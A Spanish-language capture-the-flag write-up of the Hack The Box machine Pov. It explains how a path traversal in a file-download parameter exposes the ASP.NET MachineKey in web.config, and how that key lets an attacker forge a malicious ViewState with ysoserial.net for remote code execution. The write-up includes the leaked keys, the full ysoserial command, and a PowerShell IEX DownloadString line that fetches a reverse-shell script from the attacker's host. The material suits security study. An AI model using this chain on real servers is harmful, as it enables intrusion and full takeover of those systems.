Remote Code Execution via ViewState Deserialization leveraging disclosed ASP.NET MachineKey obtained through Local File Inclusion vulnerability
En este caso hablare sobre como pasar de un LFI a un RCE gracias al MachineKey
para demostrar este ataque estaré atacando la maquina Pov de Hack The Box
El punto de entrada
En dev.pov.htb/portfolio/default.aspx encontré una funcionalidad de descarga de archivos. Al interceptar el request con Burp Suite vi que en el body viajaba un parámetro llamado file que el servidor usaba directamente para localizar y servir el archivo solicitado:
__EVENTTARGET=download&...&file=somefile.pdf
El problema es que el servidor no validaba ni sanitizaba ese input. Eso me permitió hacer Path Traversal — usando ..././ puedo salir del directorio donde vive la aplicación y navegar hacia cualquier parte del sistema de archivos. La secuencia ../ significa “sube un nivel en el directorio”, así que encadenando varios puedo llegar a la raíz del sistema y leer lo que quiera. En este caso apunté al web.config:
El servidor respondió con el contenido completo del archivo. Hasta aquí tengo un LFI — puedo leer archivos internos del sistema. Pero lo que encontré dentro de ese archivo es lo que convirtió un LFI en algo mucho más crítico.
web.config — Por qué es el archivo más valioso que puedes leer en ASP.NET
El web.config es el archivo de configuración central de toda aplicación ASP.NET. Contiene la configuración del runtime, cadenas de conexión a bases de datos, configuración de errores, y en este caso lo más interesante: el MachineKey.
<machineKey
decryption="AES"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
validation="SHA1"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
/>
Tengo dos keys y necesito entender exactamente para qué sirve cada una, porque de eso depende todo el ataque.
El MachineKey y el ViewState — cómo funciona el mecanismo que voy a explotar
Para entender por qué estas keys me dan RCE necesito explicar qué es el ViewState y cómo lo protege el MachineKey.
ASP.NET es stateless por naturaleza — cada HTTP request es independiente del anterior. Para mantener el estado de los controles de una página entre requests (qué botón estaba activo, qué valores tenía un formulario, etc.), ASP.NET serializa ese estado en un objeto .NET, lo convierte en bytes con BinaryFormatter y lo manda al cliente como un campo hidden en el HTML:
<input type="hidden" name="__VIEWSTATE" value="BASE64_AQUI" />
En cada POST que el navegador hace, ese valor regresa al servidor. El servidor lo toma, lo deserializa con BinaryFormatter y reconstruye los objetos .NET para restaurar el estado de la página.
El problema de seguridad obvio es que ese dato viaja en el cliente — cualquiera podría modificarlo. Para protegerlo existe el MachineKey, que cumple dos funciones:
validationKey con SHA1 — el servidor calcula un HMAC del ViewState usando esta key y lo adjunta. Cuando el ViewState regresa en el POST, el servidor recalcula el HMAC y lo compara. Si no coincide, el ViewState fue manipulado y lo rechaza. Esta key garantiza la integridad.
decryptionKey con AES — además de firmarlo, el servidor cifra el ViewState con esta key. El cliente recibe un blob cifrado que no puede leer ni entender. Esta key garantiza la confidencialidad.
El flujo completo de un ViewState legítimo es:
Servidor genera estado de la página
↓
BinaryFormatter serializa los objetos .NET → bytes
↓
Cifra los bytes con AES (decryptionKey)
↓
Calcula HMAC-SHA1 de los bytes cifrados (validationKey)
↓
Concatena [bytes cifrados] + [firma HMAC]
↓
Codifica en Base64 → campo __VIEWSTATE
↓
Cliente hace POST devolviendo el __VIEWSTATE
↓
Servidor verifica firma HMAC (validationKey) ✓
↓
Descifra con AES (decryptionKey) ✓
↓
BinaryFormatter.Deserialize() ← AQUÍ ESTÁ EL PROBLEMA
El paso de deserialización es el punto crítico. BinaryFormatter ejecuta código del objeto que está reconstruyendo durante la deserialización, antes de que la aplicación pueda inspeccionar o validar qué es ese objeto. Si el objeto contiene lógica maliciosa, esa lógica se ejecuta en el servidor.
El MachineKey existe exactamente para que nadie pueda meter un objeto malicioso en ese flujo — si no tienes las keys, no puedes generar un ViewState que el servidor acepte. Pero yo acababa de leer las keys gracias al Path Traversal.
Con el MachineKey en mi poder, puedo construir un objeto .NET malicioso, cifrarlo con AES usando la
decryptionKey, firmarlo con HMAC-SHA1 usando lavalidationKey, codificarlo en Base64 y mandarlo como__VIEWSTATE. El servidor lo verificará, lo descifrará, y lo deserializará — ejecutando mi código.
Generando el payload con ysoserial.net
Para forjar el ViewState malicioso usé ysoserial.net, una herramienta que automatiza la construcción de payloads de deserialización para múltiples frameworks .NET.
Lo primero que hice fue generar un payload de prueba que ejecutara un ping hacia mi máquina. Antes de lanzar una reverse shell siempre verifico primero que tengo ejecución de código — el ping es la forma más limpia de confirmarlo sin levantar tanto ruido:
Qué hace cada flag y por qué es necesario
-p ViewState — el payload plugin. Le dice a ysoserial que el output no es un payload genérico sino un ViewState válido para ASP.NET, con todo el formato y estructura que el servidor espera. Sin esto el servidor rechazaría el request antes de llegar a deserializar.
-g TextFormattingRunProperties — la gadget chain. Una gadget chain es una secuencia de clases .NET completamente legítimas que, al ser deserializadas en un orden específico, producen como efecto secundario la ejecución de código arbitrario. No es código malicioso inyectado — son clases que ya existen en el sistema usadas de una forma no intencionada. TextFormattingRunProperties usa clases de Microsoft.PowerShell.Editor.dll que están disponibles en el GAC de Windows. La cadena internamente instancia un ObjectDataProvider a través de XAML que termina llamando Process.Start() con mi comando.
-c "ping -n 3 10.10.15.15" — el comando que quiero que ejecute el servidor cuando deserialice el payload.
--path="/portfolio/default.aspx" — ASP.NET incluye el path de la página en el cálculo del HMAC. Esto existe para que un ViewState generado para una página no pueda usarse en otra. Si le paso el path incorrecto, la firma que calcule ysoserial no coincidirá con lo que espera el servidor y rechazará el ViewState. Tiene que ser el path exacto del endpoint al que voy a hacer el POST.
--apppath="/" — el path raíz de la aplicación web, también incluido en el cálculo criptográfico.
--decryptionalg="AES" y --decryptionkey="..." — para que ysoserial cifre el payload con el mismo algoritmo y key que usa el servidor. El resultado tiene que ser indistinguible de un ViewState legítimo.
--validationalg="SHA1" y --validationkey="..." — para que ysoserial calcule el HMAC con las mismas keys del servidor. Si la firma no cuadra, el servidor descarta el ViewState antes de deserializarlo.
--isencrypted — le indica a ysoserial que debe cifrar el payload además de firmarlo. Esto es necesario porque el web.config tiene decryptionKey definido, lo que significa que el servidor espera recibir ViewStates cifrados. Sin este flag, ysoserial solo firmaría el payload y el servidor lo rechazaría al intentar descifrarlo.
Lo que ysoserial hace internamente con todo eso
1. Construye el objeto malicioso .NET (gadget chain TextFormattingRunProperties)
↓
2. Lo serializa con BinaryFormatter → bytes raw
↓
3. Cifra los bytes con AES usando la decryptionKey
↓
4. Calcula HMAC-SHA1 de los bytes cifrados usando la validationKey
(incluyendo el path en el cálculo)
↓
5. Concatena [bytes cifrados] + [firma HMAC]
↓
6. Codifica en Base64
↓
Output: ViewState malicioso idéntico en estructura a uno legítimo
Verificando el RCE con ping
Puse tcpdump escuchando trazas ICMP en tun0 en mi máquina
Tomé el output de ysoserial, lo inserté en el campo __VIEWSTATE del request en Burp Suite reemplazando el valor original, y lo envié.
En tcpdump recibí los pings. El servidor tomó mi __VIEWSTATE, verificó la firma HMAC con su validationKey — válida porque usé la misma key — lo descifró con su decryptionKey — válido por la misma razón — y llamó a BinaryFormatter.Deserialize() que ejecutó la gadget chain y lanzó el ping hacia mi máquina. RCE confirmado.
De ping a reverse shell
Con el RCE confirmado, generé un nuevo payload. En lugar de un ping, el comando descarga y ejecuta un script PowerShell (r.ps1) desde mi máquina que establece la reverse shell:
ysoserial.exe -p ViewState
-g TextFormattingRunProperties
-c "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.15/r.ps1')"
--path="/portfolio/default.aspx"
--apppath="/"
--decryptionalg="AES"
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
--validationalg="SHA1"
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
--isencrypted
Usé PowerShell con IEX + DownloadString en lugar de poner el payload de la shell directamente en el argumento -c porque así evito problemas de escapado de caracteres y el payload pesado no queda embebido en el ViewState — el servidor solo ejecuta una descarga HTTP hacia mi máquina y desde ahí corre el script.
Con un servidor HTTP en Kali sirviendo el r.ps1 y un listener en el puerto 443:
Inserté el nuevo payload en el __VIEWSTATE, envié el request, el servidor descargó el r.ps1 desde mi HTTP server y ejecutó la reverse shell. Recibí la conexión como pov\sfitz — el usuario bajo el que corre el pool de aplicaciones de IIS.
La cadena completa
Path Traversal en parámetro file=../../web.config
↓
Lectura del web.config → MachineKey expuesto
decryptionKey: 74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
validationKey: 5620D3D029F914F4CDF25869D24EC2DA517435B200...
↓
ysoserial.net construye gadget chain TextFormattingRunProperties
→ serializada con BinaryFormatter → cifrada AES → firmada HMAC-SHA1 → Base64
↓
POST con __VIEWSTATE malicioso a /portfolio/default.aspx
↓
Servidor: verifica firma ✓ → descifra ✓ → BinaryFormatter.Deserialize()
↓
Gadget chain ejecuta Process.Start() → descarga r.ps1 → reverse shell
↓
Shell como pov\sfitz
Por qué funciona — la raíz del problema
Este ataque es posible por dos fallos independientes que al encadenarse se vuelven devastadores. El Path Traversal rompió el primer supuesto de seguridad: que el web.config y el MachineKey que contiene son inaccesibles desde fuera del servidor. La deserialización insegura de BinaryFormatter rompió el segundo: que los datos que llegan al servidor en el ViewState son seguros de procesar siempre que estén correctamente firmados y cifrados.
El MachineKey fue diseñado para que solo el servidor pueda generar ViewStates válidos, haciendo imposible meter objetos maliciosos en el flujo de deserialización. Esa garantía depende enteramente de que las keys sean secretas. El LFI destruyó ese secreto y con él colapsó toda la cadena de seguridad — lo que parecía ser solo lectura de archivos se convirtió en ejecución remota de código completa por la información específica que expuso.



